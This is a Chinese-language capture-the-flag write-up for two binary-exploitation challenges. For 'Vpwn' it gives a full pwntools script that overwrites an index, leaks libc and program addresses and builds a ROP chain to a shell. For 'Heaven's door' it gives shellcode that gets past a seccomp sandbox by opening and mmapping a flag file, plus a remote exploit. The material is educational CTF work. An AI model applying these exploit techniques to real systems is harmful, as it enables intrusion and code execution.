PWN
Vpwn
Vpwn_分析1
- 这题折磨人,QAQ
- 先查看一下这个,先查看一下这个程序的保护机制。发现保护全开。

- 然后打开使用
IDA
对该程序进行逆向分析,先从main
函数开始分析
- 在
main
函数中,先是有一个菜单,该菜单表示着对栈的一些操作push
、pop
、print
、Edit
、exit
- 然后还发现字节数组
v8
这边是存储栈上的数据,我们输入的数据是int32
类型。并且在v8[24]
这个地方保存着push
的栈数量(即控制着这个数组的索引值)
- 这里就会发现一个问题,当我们对第7次
push
的时候,我们push
的值就会就会改变索引值,从而导致不正常的索引


- 之后查看其他函数,先来查看
update
函数,我们先输入需要修改的索引值,让后将这个索引值和字节数组v8
都传入进行
- 这边先会判断是否超出索引,超出索引后会抛出异常,并且结束该函数,继续新一轮循环
- 如果没出现异常,就会进行更新值的操作。

- 接下来查看
push
这个函数的操作,我们输入要压入栈中的值,然后就可以进行压栈操作

pop
函数也是一样,我们调用pop
函数的时候直接进行出栈操作,并且在弹栈之前会先判断栈是否为空。如果栈是空的话就会抛出异常



Vpwn_分析2
- 接下来进行动态调试,在动态调试的过程中会发现,存储栈索引的位置在如下图中的位置即
glibcxx.
的上方

- 当我们
push
6次的时候发现所以是6,是正常的情况

- 但是当我们
push
第7次的时候就会出现如下情况,原本索引值为7的,接下来变成了0x20

- 这时我们就可以对栈进行非法的操作,我们使用
print
操作,将栈上的某些地址泄露出来,并且可以使用push
操作,修改一些返回地址
- 我们先来查看栈上的数据,看看这些数据有什么情况,我们发现这个位置,距离返回地址和程序地址比较近,并且通过计算,如果索引为
0x20
泄露栈__libc_start_call_main+128
的地址是可以的,并且还可以泄露程序的地址0x556ed6e03329
,这样程序地址和返回地址就可以泄露出来了,通过计算偏移就可以得到程序基地址,和libc的基地址。

- 泄露地址的时候这里要注意一下,字符串格式化输出的的
int
类型的数据是有正负的,如果直接对该数字字符转成Python中的int类型的数据,会出现一点问题,这时候需要位操作来处理接收后的数据
1 2 3 4 5 6 7 8 9
| def change(low,high): if low < 0: low =hex((low + (1 << 32)) % (1 << 32)) print('hex_low',low) start_main_addr = hex(high)+low[2:] else: print('hex_low',hex(low)) start_main_addr = hex(high)+hex(low)[2:] return start_main_addr
|

- 这时泄露之后,我们就可以想办法修改返回值通过计算
0x20
和v8
字节数组的偏移,就可以发现,v8+0x20*4
所在的地址比返回地址高,这时我们就可以使用pop
操作,将栈上的数据弹出一点。(也可以使用edit编辑栈上数据),使得我们可以修改返回地址

- 可以修改返回地址后,我们就可以布置rop链,这里我使用打
ogg
的方法

- 这时发现
r12
和r13
这个寄存器并不是NULL
,还有一点很重要rbp
指针在最后leave
的时候会变成1导致rbp-0x48
不可写,这时还要构造rop链修改rbp
为.bss
段上的合适的地址,再修改r12
和r13
指针为NULL

- 通过
libc
文件和程序文件寻找到rop
链最后执行到ogg
,即可getshell,注意在push
操作的时候还要注意将Python中的整型,通过转换转为int32
类型的数据,对于该题目canary
如存在,算是已经在修改索引的时候绕过了
1 2 3 4 5 6 7 8 9
| def change2(low): if low[2]=='8' or low[2]=='9' or low[2]=='a' or low[2]=='b' or low[2]=='c' or low[2]=='d' or low[2]=='e' or low[2]=='f': low = int(low, 16) low >= 0x80000000 low -= 0x100000000
else: low = int(low,16) return low
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| from pwn import * context(log_level = 'debug')
p = process('Vpwn') gdb.attach(p) def update(index): p.sendline(b'1') p.sendline(str(index).encode('utf-8'))
def push(value): p.sendline(b'2') p.sendline(str(value).encode('utf-8')) def pop(): p.sendline(b'3')
def print1(): p.sendline(b'4')
def change(low,high): if low < 0: low =hex((low + (1 << 32)) % (1 << 32)) print('hex_low',low) start_main_addr = hex(high)+low[2:] else: print('hex_low',hex(low)) start_main_addr = hex(high)+hex(low)[2:] return start_main_addr
def change2(low): if low[2]=='8' or low[2]=='9' or low[2]=='a' or low[2]=='b' or low[2]=='c' or low[2]=='d' or low[2]=='e' or low[2]=='f': low = int(low, 16) low >= 0x80000000 low -= 0x100000000
else: low = int(low,16) return low pause() for i in range(7): push(0x20)
print1() p.recvuntil(b'Enter your choice: StackVector contents: ') leak = p.recv().decode('utf-8').split(' ') print(len(leak)) high = leak[19] low = leak[18] pro_high = leak[23] pro_low = leak[22] print('leak------>',leak) print('leak_high--->',high) print('leak_low---->',low) high = int(high,10) low = int(low,10) pro_high = int(pro_high,10) pro_low = int(pro_low,10) start_main_addr = change(low,high) start_pro_addr = change(pro_low,pro_high)
print('hex_high',hex(high)) print('start_main_addr',start_main_addr) print('pro_addr',start_pro_addr) pro_addr = int(start_pro_addr,16)-0x1329 bss_addr = pro_addr+0x42AE+0x600 start_main_addr = int(start_main_addr,16) libc_addr = start_main_addr -128 - 0x29D10 for i in range(0x10-2): pop() ong_gadget = [libc_addr+0xebce2] print(hex(ong_gadget[0]))
low = '0x'+hex(pro_addr+0x1313)[6:] high = hex(pro_addr+0x1313)[0:6] low = change2(low) push(low) push(int(high,16))
low = '0x'+hex(bss_addr)[6:] high = hex(bss_addr)[0:6] low = change2(low) push(low) push(int(high,16))
pop_r12 = libc_addr+0x41c48 low = '0x'+hex(pop_r12)[6:] high = hex(pop_r12)[0:6] low = change2(low) push(low) push(int(high,16)) push(0) push(0) push(0) push(0)
low = '0x'+hex(pro_addr+0x101a)[6:] high = hex(pro_addr+0x101a)[0:6] low = change2(low) push(low) push(int(high,16))
low = '0x'+hex(ong_gadget[0])[6:] high = hex(ong_gadget[0])[0:6] low = change2(low) push(low) push(int(high,16))
pause() p.sendline(b'5') p.interactive()
|
Heaven’s door
Heaven’s door_分析1
- 先查看一下保护机制,发现有栈溢出保护,但是没有开PIE

- 现在使用IDA进行逆向分析,一打开程序,发现是一题沙箱题,显然要写
shellcode

- 现在就来查看一下
sandbox
,发现是一个白名单沙箱,只允许用如下的系统调用。并且白名单中没有read()
这个系统调用。

- 现在继续回来分析源代码,该程序通过创建子进程,将程序分成两个任务,子进程主要完成的就是执行
shellcode
的任务,而父进程是随机输出字符串数组中的某个字符串,一共会输出14次,所以并不需要考虑父进程的操作。

- 现在主要分析子进程,子进程会开辟一段内存空间,然后让我们输入
0xC3
范围内的数据,并对数据进行检查,检查之后开启沙箱,开启完执行我们所输入的数据。

- 现在来查看一下
count_syscall_instructions
会检查什么,该函数是检查是否有15 5
两个是否相邻的个数。其实15 5
这个字节码就是syscall
这个系统调用的字节码,该函数的功能就是检查syscall
的数量
- 会返回该
shellcode
中syscall
的个数,如果大于2个就会退出程序(在main函数的操作)

- 这时我们编写shellcode就要考虑以下几点:
- 白名单没有
read()
这个函数,所以要另外寻找其他的系统调用,将flag放入内存中
- 程序限制
syscall
只能两次。
Heaven’s door_分析2
- 这时对于
read()
我们可以使用沙箱名单的mmap
系统调用进行代替,将文件映射到内存中。
- 对于
syscall
的限制,这两次syscall
必须要用来open
flag文件,然后调用mmap
将该文件映射到内存中。
- 对于如何将
flag
输出出来,父程序有稍微提示一点,由于没有开启pie地址,我们还可以调用printf()
函数,或者puts()
函数将flag输出出来。所以我们就可以写如下shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| mov rbx,0x000067616c662f2e push rbx mov rdi,rsp mov rsi,0 mov rax,0x2 syscall
mov rdi,0 mov rsi,4096 mov rdx,1 mov r10,1 mov r8,rax mov r9,0 mov rax,0x9 syscall
mov rdi,rax mov rsi,0x401150 call rsi
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import *
context(arch='amd64')
p = remote('139.155.126.78',20476)
a = asm(""" mov rbx,0x000067616c662f2e push rbx mov rdi,rsp mov rsi,0 mov rax,0x2 syscall
mov rdi,0 mov rsi,4096 mov rdx,1 mov r10,1 mov r8,rax mov r9,0 mov rax,0x9 syscall
mov rdi,rax mov rsi,0x401150 call rsi """) payload = a p.sendline(payload) p.interactive()
|

非预期解
